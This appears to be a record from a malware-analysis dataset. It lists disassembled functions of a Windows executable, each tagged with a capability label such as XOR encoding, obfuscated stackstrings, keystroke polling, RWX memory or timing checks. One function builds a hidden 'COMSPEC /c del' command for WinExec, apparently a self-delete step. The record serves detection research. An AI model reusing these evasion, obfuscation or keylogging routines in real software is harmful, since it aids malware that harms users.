joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4018f0
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.00401790
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x401938
push ebx
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
add bl, 0x38
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
xor bl, 0x7b
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x401912
mov eax, dword [esp + 4]
pop ebx
pop ecx
ret
mov eax, dword [esp]
pop ecx
ret
Function at 0x402130
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x384
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x407144
push str.GetShortPathNameA
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.GetEnvironmentVariableA
push ebx
mov dword [ebp - 0x2c], eax
call esi
push eax
call edi
push 0x407304
push ebx
mov dword [ebp - 0x30], eax
call esi
push eax
call edi
push 0x4071e0
push ebx
mov dword [ebp - 0x38], eax
call esi
push eax
call edi
push str.SetPriorityClass
push ebx
mov dword [ebp - 0x24], eax
call esi
push eax
call edi
push str.SetThreadPriority
push ebx
mov dword [ebp - 0x28], eax
call esi
push eax
call edi
push str.WinExec
push ebx
mov dword [ebp - 0x3c], eax
call esi
push eax
call edi
push str.SetFileAttributesA
push ebx
call esi
push eax
call edi
push 0x40
mov dword [ebp - 0x34], eax
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x17b]
mov byte [ebp - 0x17c], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x383]
mov byte [ebp - 0x384], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x27f]
mov byte [ebp - 0x280], bl
mov esi, 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push esi
lea eax, [ebp - 0x17c]
push eax
push ebx
call dword [ebp - 0x38]
lea eax, [ebp - 0x17c]
push esi
push eax
lea eax, [ebp - 0x17c]
push eax
call dword [ebp - 0x2c]
lea eax, [ebp - 0x384]
push esi
push eax
lea eax, [ebp - 0x20]
push eax
mov byte [ebp - 0x20], 0x43
mov byte [ebp - 0x1f], 0x4f
mov byte [ebp - 0x1e], 0x4d
mov byte [ebp - 0x1d], 0x53
mov byte [ebp - 0x1c], 0x50
mov byte [ebp - 0x1b], 0x45
mov byte [ebp - 0x1a], 0x43
mov byte [ebp - 0x19], bl
call dword [ebp - 0x30]
lea eax, [ebp - 0x18]
mov byte [ebp - 0x18], 0x2f
push eax
lea eax, [ebp - 0x280]
push eax
mov byte [ebp - 0x17], 0x63
mov byte [ebp - 0x16], 0x20
mov byte [ebp - 0x15], 0x64
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x6c
jmp loc.0040b7d0

Function at 0x40235f
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
mov ebx, dword [ebp + 0x10]
push esi
xor esi, esi
test ebx, ebx
jne 0x402378
push 1
pop eax
jmp 0x4023ed
mov eax, dword [0x408488]
push 0
mov dword [ebp - 0x100], eax
push 0
lea eax, [ebp - 0x104]
push 0
push eax
mov eax, dword [ebp + 8]
inc eax
mov dword [ebp - 0x104], 1
push eax
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x4023e6
test eax, eax
je 0x402378
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x402378
mov eax, ebx
push 0
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x4023e6
cmp eax, 0xffffffff
je 0x4023e6
add esi, eax
cmp esi, ebx
jb 0x402378
xor eax, eax
cmp esi, ebx
sete al
pop esi
pop ebx
leave
ret
Function at 0x402b47
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 4
push ebx
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402bbc
push edi
push 2
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
xor eax, eax
lea edi, [ebp - 0xb]
mov byte [ebp - 0xc], bl
mov dword [ebp + 8], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, dword [ebp + 0xc]
cmp edi, ebx
jbe 0x402bb4
lea eax, [ebp - 0xc]
push 0xa
push eax
call fcn.00401bc2
pop ecx
lea eax, [ebp + 8]
pop ecx
push ebx
push eax
lea eax, [ebp - 0xc]
push 0xa
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
dec edi
jne 0x402b92
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4030c8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x487020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403160
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403140
xor eax, eax
push ebp
push 0x403139
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x40317c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403140
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x487020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x487020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403e88
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x48a04c], 0
je 0x403ee9
cmp word [0x48a220], 0xd7b2
jne 0x403eb1
cmp dword [0x48a228], 0
jbe 0x403eb1
mov eax, 0x48a21c
call dword [0x48a238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x48706c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403f10
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x487030], 0
jne 0x403f05
push 0
push 0x487064
push 0x48706c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405eb8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x405f1e
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404274
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402c34
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x405f08
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405f25
lea eax, [ebp - 0x10]
call fcn.00404004
ret

Function at 0x40b578
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b5b1
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004040f4
jmp 0x40b5ba
mov eax, ebx
mov edx, esi
call fcn.00404058
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40b5c4
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b5e5
mov al, byte [esp]
jmp 0x40b5e7
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40bc6c
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40bae4
mov eax, dword [0x489d40]
cmp byte [eax], 0
je 0x40bce8
mov eax, dword [0x489908]
call fcn.00402a94
call fcn.004028c8
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00408c90
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40bd30
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40bd1e
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x48986c]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x48a668]
call fcn.004053cc
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40c5cc
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40c6a2
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.0040409c
lea eax, [ebp - 8]
call fcn.00404514
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.004044c4
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40c68c
mov eax, ebx
call fcn.00402760
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40c685
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.004044c4
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40c66f
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40c6b4
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40c66f
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c68c
mov eax, dword [ebp - 0x10]
call fcn.00402780
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c6a9
lea eax, [ebp - 8]
call fcn.00404004
ret

Function at 0x40cc2c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40cc90
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404274
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00408620
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40cc97
lea eax, [ebp - 0xc]
call fcn.00404004
ret

Function at 0x422a0c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x48a888
cmp dword [edi], 0
jne 0x422a88
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x48a884]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x4874a4
mov ecx, 2
call fcn.0040295c
mov edx, 0x4229e4
lea eax, [esi + 5]
call fcn.00422a04
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00422a04
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x422a5d
mov dword [0x48a884], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x424024
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x42402a
ret
Function at 0x426654
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x4266a5
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x42668c
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x42667c
jmp 0x4266a5
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x42668d
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4309b8
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.004044b4
xor eax, eax
push ebp
push 0x430ae6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
call sub.user32.dll_OpenClipboard
test eax, eax
je 0x430ab9
xor eax, eax
push ebp
push 0x430ab2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004042c4
inc eax
push eax
push 0x2002
call sub.kernel32.dll_GlobalAlloc
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x430a87
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GlobalLock
mov ebx, eax
xor eax, eax
push ebp
push 0x430a76
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004042c4
inc eax
push eax
mov eax, dword [ebp - 4]
call fcn.004044c4
mov edx, ebx
pop ecx
call fcn.0040295c
call sub.user32.dll_EmptyClipboard
mov eax, dword [ebp - 8]
push eax
push 1
call sub.user32.dll_SetClipboardData
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x430a7d
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GlobalUnlock
ret
mov ecx, dword [0x489768]
mov dl, 1
mov eax, dword [0x407378]
call fcn.0040bdf0
call fcn.00403a24
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x430aed
lea eax, [ebp - 4]
call fcn.00404004
ret
Function at 0x430af4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff8c
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x430ca5
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x10]
mov edx, 0x1b
mov al, 0x2d
call fcn.004046b4
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 8]
mov ecx, 0x430cbc
call fcn.00404310
mov eax, ebx
call fcn.00421fa0
mov edi, eax
dec edi
test edi, edi
jl 0x430bac
inc edi
xor esi, esi
mov edx, esi
mov eax, ebx
call fcn.00421f74
mov edx, dword [0x441514]
call fcn.004033e4
test al, al
je 0x430ba8
push dword [ebp - 0xc]
mov edx, esi
mov eax, ebx
call fcn.00421f74
lea edx, [ebp - 0x14]
call fcn.00459e1c
push dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
mov edx, 3
mov al, 0x20
call fcn.004046b4
push dword [ebp - 0x18]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404384
inc esi
dec edi
jne 0x430b5a
mov al, byte [0x430cc0]
push eax
lea eax, [ebp - 0x1c]
push eax
xor ecx, ecx
mov edx, 0x430ccc
mov eax, dword [ebp - 0xc]
call fcn.0040d204
mov edx, dword [ebp - 0x1c]
lea eax, [ebp - 0xc]
call fcn.0040409c
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x6c], eax
mov byte [ebp - 0x68], 0xb
lea edx, [ebp - 0x70]
mov eax, ebx
call fcn.00459e1c
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x64], eax
mov byte [ebp - 0x60], 0xb
mov eax, 0x430cbc
mov dword [ebp - 0x5c], eax
mov byte [ebp - 0x58], 0xb
mov eax, dword [ebp - 8]
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x50], 0xb
lea edx, [ebp - 0x74]
mov eax, dword [ebx + 0x2f8]
call fcn.00459e1c
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x4c], eax
mov byte [ebp - 0x48], 0xb
mov eax, 0x430cbc
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x40], 0xb
mov eax, dword [ebp - 8]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 0x38], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x30], 0xb
mov eax, 0x430cbc
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x28], 0xb
mov eax, dword [ebp - 8]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
lea edx, [ebp - 0x6c]
mov ecx, 9
mov eax, 0x430cd8
call fcn.0040936c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x430cac
lea eax, [ebp - 0x74]
mov edx, 2
call fcn.00404028
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.00404028
lea eax, [ebp - 0x14]
call fcn.00404004
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00404028
ret
Function at 0x433070
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov al, byte [ebp + 8]
call fcn.00432cec
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.004044c4
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
je 0x4330ce
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x489b58]
mov dl, 1
mov eax, dword [0x432be4]
call fcn.0040be2c
call fcn.00403a24
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x4330d8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.004044c4
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x433130
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x489f74]
mov dl, 1
mov eax, dword [0x432be4]
call fcn.0040be2c
call fcn.00403a24
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.00432d1c
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x447e88
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x447dd4
call sub.user32.dll_EnumWindows
ret

Function at 0x447fa8
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x448025
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00447a08
call sub.kernel32.dll_GetTickCount
mov ebx, eax
push 0
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount
sub eax, ebx
cmp eax, 0x3e8
jbe 0x447fcd
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.00447608
cmp dword [ebp - 4], 0
je 0x44800f
push 0
push 9
mov eax, dword [ebp - 4]
call fcn.004044c4
push eax
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
push eax
call sub.user32.dll_WinHelpA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44802c
lea eax, [ebp - 4]
call fcn.00404004
ret

Function at 0x44a2c4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44a314]
test si, 4
je 0x44a2d8
or bl, 1
test si, 8
je 0x44a2e2
or bl, 4
test si, 1
je 0x44a2ec
or bl, 8
test si, 2
je 0x44a2f6
or bl, 0x10
test si, 0x10
je 0x44a300
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44a30f
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x44a318
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x44a350]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44a331
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44a340
or bl, 4
test esi, 0x20000000
je 0x44a34b
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x4509f8
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x450a0a
add esp, 0xfffffff0
call fcn.004035bc
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0042197c
mov eax, dword [0x48987c]
mov dword [eax + 4], ebx
mov dword [eax], 0x450d9c
mov eax, dword [0x48988c]
mov dword [eax + 4], ebx
mov dword [eax], 0x450da8
mov eax, ebx
call fcn.00450db4
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x416598]
call fcn.00403228
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x416598]
call fcn.00403228
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x416598]
call fcn.00403228
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x416598]
call fcn.00403228
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x416598]
call fcn.00403228
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x44d1d0
push eax
push 0
push 0
mov eax, dword [0x489b44]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x4233f8]
call fcn.00424b6c
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x4233f8]
call fcn.00424b6c
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x4233f8]
call fcn.00424b6c
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00451264
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x4510f8
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x4510f8
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x4510f8
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x450b47
call fcn.00403614
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret